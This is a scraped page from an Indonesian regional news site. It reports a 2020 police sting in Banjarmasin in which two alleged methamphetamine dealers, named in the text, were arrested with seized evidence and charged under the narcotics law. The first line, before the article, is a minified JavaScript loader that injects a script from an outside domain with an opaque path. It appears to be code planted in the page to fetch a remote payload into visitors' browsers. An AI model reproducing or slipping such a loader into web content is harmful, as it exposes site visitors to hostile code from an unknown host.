(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Menyamar sebagai pembeli, anggota Subdit III Ditresnarkoba Polda Kalimantan Selatan mengamankan dua pengedar sabu di Banjarmasin. Adalah Rudiansyah alias Rudi (43) warga jalan Ir PHM Noor, Gg Bina Karya, Kelurahan Pelambuan, Banjarmasin dan Hamid alias Mahlan (32) warga Jalan Sungai Pantai, Kecamatan Rantau Badauh, Barito Kuala, diciduk polisi pada Rabu (3/6/2020) pukul 12:30 Wita.
Keduanya diringkus aparat di jalan Bina Karya, Komplek Baruh Batuah No 57, RT 68, RW 04, Kelurahan Pelambuan, Banjarmasin.
Diduga Hamid menyediakan narkotika jenis sabu. Saat meringkus kedua pelaku, polisi melakukan penyamaran sebagai pembeli dengan memesan sabu kepada Hamid.
“Kemudian Hamid membawa petugas mendatangi rumah Rudi untuk membeli sabu. Saat di TKP Rudi menunjukan sabu di tangan kanan dan kiri, tak lama langsung kami lakukan penangkapan terhadap keduanya,” kata Dir Resnarkoba Polda Kalsel Kombes Pol Iwan Eka Putra melalui Kabag Binopsdal AKBP Sigit Kumoro, Rabu (10/6/2020) pagi.
Dari tangan pelaku, aparat kepolisian berhasil mengamankan beberapa barang bukti. Yaitu 8 paket sabu dengan berat kotor 21,14 gram -berat bersih 19,54 gram-, tiga handphone berbagai merk dan satu buah timbangan digital.
“Selanjutnya tersangka dan barang bukti dibawa ke Mako Ditresnarkoba Polda Kalsel,” pungkas AKBP Sigit.
Rudi dan Hamid melanggar Pasal 114 ayat (2) sub Pasal 112 ayat (2) Jo Pasal 132 ayat (1) UU RI No. 35 Tahun 2009 tentang Narkotika. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.